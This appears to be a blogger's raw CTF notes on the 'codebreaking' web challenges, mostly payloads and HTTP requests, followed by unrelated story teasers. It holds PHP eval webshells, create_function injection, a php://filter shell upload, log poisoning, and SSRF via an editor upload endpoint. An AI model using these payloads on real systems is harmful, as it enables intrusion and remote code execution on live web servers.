[codebreaking.tricking.io] 1-4 notes

view-source:http://51.158.75.42:8087/?action=\create_function&arg=};var_dump(glob(%22../*%22));function%20a(){
image.png
>>> "<?php @eval($_GET['c']);var_dump(1);?>".encode("base64")
'PD9waHAgQGV2YWwoJF9HRVRbJ2MnXSk7dmFyX2R1bXAoMSk7Pz4=\n'
>>> 
POST /index.php HTTP/1.1
Host: 127.0.0.1:9090
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.20.1
Content-Length: 192
Content-Type: multipart/form-data; boundary=ac98ccfcbed08b2291999b0ff480d138

--ac98ccfcbed08b2291999b0ff480d138
Content-Disposition: form-data; name="file"; filename="file"

PD9waHAgQGV2YWwoJF9HRVRbJ2MnXSk7dmFyX2R1bXAoMSk7Pz4=
--ac98ccfcbed08b2291999b0ff480d138--

POST /index.php HTTP/1.1
Host: 127.0.0.1:9090
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.20.1
Content-Length: 205
Content-Type: multipart/form-data; boundary=ac98ccfcbed08b2291999b0ff480d138

--ac98ccfcbed08b2291999b0ff480d138
Content-Disposition: form-data; name="file"; filename="file"

<?=
include "php://filter/convert.base64-decode/resource=1.php";
--ac98ccfcbed08b2291999b0ff480d138--

view-source:http://51.158.75.42:8088/data/04445c51df9a9db8c23eab9e201887cf/9.php?c=var_dump(glob(%22../*%22));
image.png
???
<script language="php">
eval($_POST[only]);
</script>
POST /index.php HTTP/1.1
Host: 123.207.40.26:60000
Content-Length: 105
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1:9090/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en;q=0.8,zh-CN;q=0.7
Cookie: indent_type=space; space_units=4; keymap=sublime; csrftoken=9Ky4QNPtX829j5rQWdDVHhDwVLTO4XUQkS7nHpl4wAZXrnvB7DhwBcGJjPrB8HEi; sessionid=3abaex90lt9kmrhn0fkyhv95wypznisd
Connection: close

domain=%3c%3f%70%68%70%0a%65%76%61%6c%28%24%5f%47%45%54%5b%63%5d%29%3b%64%69%65%28%29%3b%3f%3e&log=.php/.
image.png
// steams.c 1738
    for (p = path; isalnum((int)*p) || *p == '+' || *p == '-' || *p == '.'; p++) {
        n++;
    }
POST http://php/index.php HTTP/1.1
Host: 127.0.0.1:60000
Content-Length: 114
Cache-Control: max-age=0
Origin: http://127.0.0.1:60000
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1:60000/
Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en;q=0.8,zh-CN;q=0.7
Cookie: indent_type=space; space_units=4; keymap=sublime; csrftoken=9Ky4QNPtX829j5rQWdDVHhDwVLTO4XUQkS7nHpl4wAZXrnvB7DhwBcGJjPrB8HEi; sessionid=gAN9cQAu:1gQKO1:nz0EZkHVizd7Wbp0FMJt-DDiF9o
Connection: close

domain=PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2MnXSk7Pz4.com.&log=://filter/write=convert.base64-decode/resource=index.php/.
image.png

$_SERVER['SERVER_NAME'] 可以伪造

GET /?code=var_dump(hex2bin(session_id(session_start()))); HTTP/1.1
Host: 51.158.75.42:8084
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36
DNT: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en;q=0.8,zh-CN;q=0.7
Cookie: PHPSESSID=7661725f64756d7028676c6f6228222e2e2f2a2229293b
Connection: close


image.png
image.png
My name is {'wsgi.errors': <gunicorn.http.wsgi.WSGIErrorsWrapper object at 0xffff9adc7e80>, 'wsgi.version': (1, 0), 'wsgi.multithread': True, 'wsgi.multiprocess': True, 'wsgi.run_once': False, 'wsgi.file_wrapper': <class 'gunicorn.http.wsgi.FileWrapper'>, 'SERVER_SOFTWARE': 'gunicorn/19.9.0', 'wsgi.input': <gunicorn.http.body.Body object at 0xffff9ad82e10>, 'gunicorn.socket': <gevent._socket3.socket object, fd=11, family=2, type=1, proto=6>, 'REQUEST_METHOD': 'GET', 'QUERY_STRING': '', 'RAW_URI': '/', 'SERVER_PROTOCOL': 'HTTP/1.0', 'HTTP_HOST': '51.158.73.123', 'HTTP_X_FORWARDED_PROTO': 'http', 'HTTP_X_FORWARDED_FOR': '219.217.246.194', 'HTTP_CONNECTION': 'close', 'HTTP_CACHE_CONTROL': 'max-age=0', 'HTTP_UPGRADE_INSECURE_REQUESTS': '1', 'HTTP_DNT': '1', 'HTTP_USER_AGENT': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36', 'HTTP_ACCEPT': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', 'HTTP_REFERER': 'http://51.158.73.123:8083/login/?next=/', 'HTTP_ACCEPT_ENCODING': 'gzip, deflate', 'HTTP_ACCEPT_LANGUAGE': 'zh,en-US;q=0.9,en;q=0.8,zh-CN;q=0.7', 'HTTP_COOKIE': 'thejs.session=s%3AWdR8Pze5g-A8pPL9M1i07I_2s0DnbTDz.oG7bVoS265hR8KzjDZNPHW3ms3cukA7aJiwjhnl41bo; csrftoken=kiKTZQl4VO9vf0yzf1vd0V2SdJmweyzwSaPTCYN7MP6MP1hX85Zg33YVuNKi9clQ; sessionid=.eJxVjLEOgjAUAIuomzHxK3BpoA2ls7v728h7tAhq2pTS0cRPFxMW1rvLffNPYAWcGGMtpnloU7RTO5qQQbYwHXZw2TrC7mWdCTlcF2Ge6B6ed97N00j8n_G1iPzujX3f1n4P5-1owDiEAxQLJUEVyVISqdpSXwmpS1RCV6W0TaOxFrKvlerCMfEfqC00ww:1gQKej:eEilnTramvvogvoJ9kh5gRGZyAc', 'wsgi.url_scheme': 'http', 'REMOTE_ADDR': '172.27.0.3', 'REMOTE_PORT': '53870', 'SERVER_NAME': '0.0.0.0', 'SERVER_PORT': '8000', 'PATH_INFO': '/', 'SCRIPT_NAME': '', 'CSRF_COOKIE': 'kiKTZQl4VO9vf0yzf1vd0V2SdJmweyzwSaPTCYN7MP6MP1hX85Zg33YVuNKi9clQ'}
image.png
➜  ~ curl -X POST 'http://51.158.73.123:8080/server/editor?action=Catchimage' -d 'source[]=http://img.baidu.com/img/logo-zhidao.gif'
{"state":"SUCCESS","list":[{"url":"\/upload\/image\/b6b51ff26899674cb3aa3fb57783e4dd\/201811\/24\/50aaff118c62275ad57a.gif","source":"http:\/\/img.baidu.com\/img\/logo-zhidao.gif","state":"SUCCESS"}]}  
http://51.158.73.123:8080/server/editor?action=Catchimage
➜  Desktop cat 50aaff118c62275ad57a.gif | curl -F 'upfile=@-' "http://51.158.73.123:8080/server/editor?action=UploadImage"
{"state":"SUCCESS","url":"\/upload\/image\/b6b51ff26899674cb3aa3fb57783e4dd\/201811\/24\/4003f3ad55c4a759f0bd.gif","title":"-","original":"-"}%        
➜  Desktop cat index.php | curl -F 'upfile=@-' "http://51.158.73.123:8080/server/editor?action=UploadImage"
{"upfile":["The upfile must be an image.","The upfile must be a file of type: png, jpg, jpeg, gif, bmp."]}%         
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 156,907评论 4 360
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 66,546评论 1 289
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 106,705评论 0 238
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,624评论 0 203
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 51,940评论 3 285
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,371评论 1 210
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,672评论 2 310
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,396评论 0 195
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,069评论 1 238
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,350评论 2 242
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 31,876评论 1 256
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,243评论 2 251
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 32,847评论 3 231
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,004评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,755评论 0 192
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,378评论 2 269
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,266评论 2 259

推荐阅读更多精彩内容

  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 134,087评论 18 139
  • 1.ios高性能编程 (1).内层 最小的内层平均值和峰值(2).耗电量 高效的算法和数据结构(3).初始化时...
    欧辰_OSR阅读 29,012评论 8 265
  • 每晚都会做无数个梦,醒来记得的却稀少,昨夜梦中一景却清晰尤在,梦中自己一袭白衣,头发全无,手中拿着高脚玻璃杯,杯中...
    山和工坊阅读 162评论 1 1
  • the1special阅读 245评论 2 2
  • 世界宽广,大到行走不行,世界又是如此之小,小到和过往一再重逢。 记得第一次看到她是在他刚来不久,在他...
    烟花雨下的诺言阅读 114评论 0 0